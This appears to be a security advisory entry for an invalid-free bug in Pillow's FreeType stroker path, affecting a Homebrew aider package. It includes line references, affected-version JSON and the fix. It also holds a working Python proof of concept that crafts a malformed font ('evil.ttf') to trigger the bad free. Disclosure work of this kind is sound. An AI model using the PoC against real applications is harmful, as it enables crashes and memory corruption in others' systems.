BREW-AIDER-CVE-2026-112893 (GHSA-J4M9-6W36-PW47)

Vulnerability from osv_homebrew – Published: 2026-10-22 09:13 – Updated: 2026-10-22 09:13 – Source website
VLAI
Summary
Pillow: Invalid free in FreeType glyph rendering when a stroker is active
Details

Summary

When text is drawn with a non-zero stroke width, Pillow creates a FreeType stroker and then loads each glyph. If FT_Load_Glyph fails for a glyph, the cleanup path calls FT_Done_Glyph on the glyph variable. That variable is not initialized before the first measurement loop, and in the render loop it is not reset to NULL after each glyph is freed. A malformed font loaded from untrusted bytes can force the load error and reach this free. This is a latent memory-safety defect; whether it crashes depends on the value in the uninitialized or stale pointer.

Details

glyph is declared without a NULL initializer:

  • src/_imagingft.c:848

The first measurement loop can jump to glyph_error before glyph is ever assigned:

  • src/_imagingft.c:1010-1013

In the render loop the glyph is freed at the end of each iteration and not set back to NULL:

  • src/_imagingft.c:1242

The cleanup frees it whenever a stroker exists:

  • src/_imagingft.c:1253-1256

ImageFont.truetype accepts a file object or bytes, so the font is attacker-suppliable.

PoC

This needs fontTools and any base TTF (the example uses one bundled with Pillow's tests). It rewrites glyph "A" to claim 5000 contours in a glyph body far too short for them, so FT_Load_Glyph returns an error while the face still opens.

import struct
from fontTools.ttLib import TTFont
from PIL import Image, ImageFont, ImageDraw

SRC = "Tests/fonts/FreeMono.ttf"          # any TTF works as a base
tt = TTFont(SRC)
gid = tt.getGlyphID(tt.getBestCmap()[ord("A")])
loca_long = tt["head"].indexToLocFormat
tt.close()

raw = bytearray(open(SRC, "rb").read())
nt = struct.unpack(">H", raw[4:6])[0]
tbl = {}
for i in range(nt):
    rec = 12 + i * 16
    tag = bytes(raw[rec:rec+4]).decode("latin-1")
    off, length = struct.unpack(">II", raw[rec+8:rec+16])
    tbl[tag] = (off, length)
glyf_off = tbl["glyf"][0]; loca_off = tbl["loca"][0]
if loca_long:
    o0 = struct.unpack_from(">I", raw, loca_off + 4*gid)[0]
else:
    o0 = struct.unpack_from(">H", raw, loca_off + 2*gid)[0] * 2
struct.pack_into(">h", raw, glyf_off + o0, 5000)   # numberOfContours = 5000
open("evil.ttf", "wb").write(raw)

f = ImageFont.truetype("evil.ttf", 20)             # face opens
d = ImageDraw.Draw(Image.new("RGB", (64, 64)))
d.text((0, 0), "A", font=f, stroke_width=2)        # load error -> FT_Done_Glyph on bad pointer

Result on the pinned build: FT_Load_Glyph returns an error and execution reaches the glyph_error cleanup that calls FT_Done_Glyph(glyph) (the plugin surfaces OSError: invalid outline).

Impact

Applications that draw text with stroke_width != 0 using fonts loaded from untrusted bytes can hit an invalid or double free. The correct fix is small: initialize glyph = NULL and set it back to NULL after each FT_Done_Glyph.


{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": null,
        "range_state": "affected",
        "resource": "pillow",
        "resource_purl": "pkg:pypi/pillow@12.1.1",
        "upstream_fixed_in": "13.0.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "aider",
        "purl": "pkg:brew/aider"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.86.1_1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/pillow@12.1.1",
        "name": "pillow",
        "resource": "pillow",
        "strategy": "registry",
        "subject_version": "12.1.1"
      }
    ]
  },
  "details": "### Summary\nWhen text is drawn with a non-zero stroke width, Pillow creates a FreeType stroker and then loads each glyph. If `FT_Load_Glyph` fails for a glyph, the cleanup path calls `FT_Done_Glyph` on the `glyph` variable. That variable is not initialized before the first measurement loop, and in the render loop it is not reset to NULL after each glyph is freed. A malformed font loaded from untrusted bytes can force the load error and reach this free. This is a latent memory-safety defect; whether it crashes depends on the value in the uninitialized or stale pointer.\n\n### Details\n`glyph` is declared without a NULL initializer:\n\n- `src/_imagingft.c:848`\n\nThe first measurement loop can jump to `glyph_error` before `glyph` is ever assigned:\n\n- `src/_imagingft.c:1010-1013`\n\nIn the render loop the glyph is freed at the end of each iteration and not set back to NULL:\n\n- `src/_imagingft.c:1242`\n\nThe cleanup frees it whenever a stroker exists:\n\n- `src/_imagingft.c:1253-1256`\n\n`ImageFont.truetype` accepts a file object or bytes, so the font is attacker-suppliable.\n\n### PoC\nThis needs `fontTools` and any base TTF (the example uses one bundled with Pillow\u0027s tests). It rewrites glyph \"A\" to claim 5000 contours in a glyph body far too short for them, so `FT_Load_Glyph` returns an error while the face still opens.\n\n```python\nimport struct\nfrom fontTools.ttLib import TTFont\nfrom PIL import Image, ImageFont, ImageDraw\n\nSRC = \"Tests/fonts/FreeMono.ttf\"          # any TTF works as a base\ntt = TTFont(SRC)\ngid = tt.getGlyphID(tt.getBestCmap()[ord(\"A\")])\nloca_long = tt[\"head\"].indexToLocFormat\ntt.close()\n\nraw = bytearray(open(SRC, \"rb\").read())\nnt = struct.unpack(\"\u003eH\", raw[4:6])[0]\ntbl = {}\nfor i in range(nt):\n    rec = 12 + i * 16\n    tag = bytes(raw[rec:rec+4]).decode(\"latin-1\")\n    off, length = struct.unpack(\"\u003eII\", raw[rec+8:rec+16])\n    tbl[tag] = (off, length)\nglyf_off = tbl[\"glyf\"][0]; loca_off = tbl[\"loca\"][0]\nif loca_long:\n    o0 = struct.unpack_from(\"\u003eI\", raw, loca_off + 4*gid)[0]\nelse:\n    o0 = struct.unpack_from(\"\u003eH\", raw, loca_off + 2*gid)[0] * 2\nstruct.pack_into(\"\u003eh\", raw, glyf_off + o0, 5000)   # numberOfContours = 5000\nopen(\"evil.ttf\", \"wb\").write(raw)\n\nf = ImageFont.truetype(\"evil.ttf\", 20)             # face opens\nd = ImageDraw.Draw(Image.new(\"RGB\", (64, 64)))\nd.text((0, 0), \"A\", font=f, stroke_width=2)        # load error -\u003e FT_Done_Glyph on bad pointer\n```\n\nResult on the pinned build: `FT_Load_Glyph` returns an error and execution reaches the `glyph_error` cleanup that calls `FT_Done_Glyph(glyph)` (the plugin surfaces `OSError: invalid outline`).\n\n### Impact\nApplications that draw text with `stroke_width != 0` using fonts loaded from untrusted bytes can hit an invalid or double free. The correct fix is small: initialize `glyph = NULL` and set it back to NULL after each `FT_Done_Glyph`.",
  "id": "BREW-aider-CVE-2026-112893",
  "modified": "2026-10-22T09:13:55Z",
  "published": "2026-10-22T09:13:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-j4m9-6w36-pw47"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112893"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/a7416de7f3a43128179d2cf68df3240ea8dafe13"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-pillow/Pillow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Pillow: Invalid free in FreeType glyph rendering when a stroker is active",
  "upstream": [
    "GHSA-j4m9-6w36-pw47",
    "CVE-2026-112893"
  ]
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.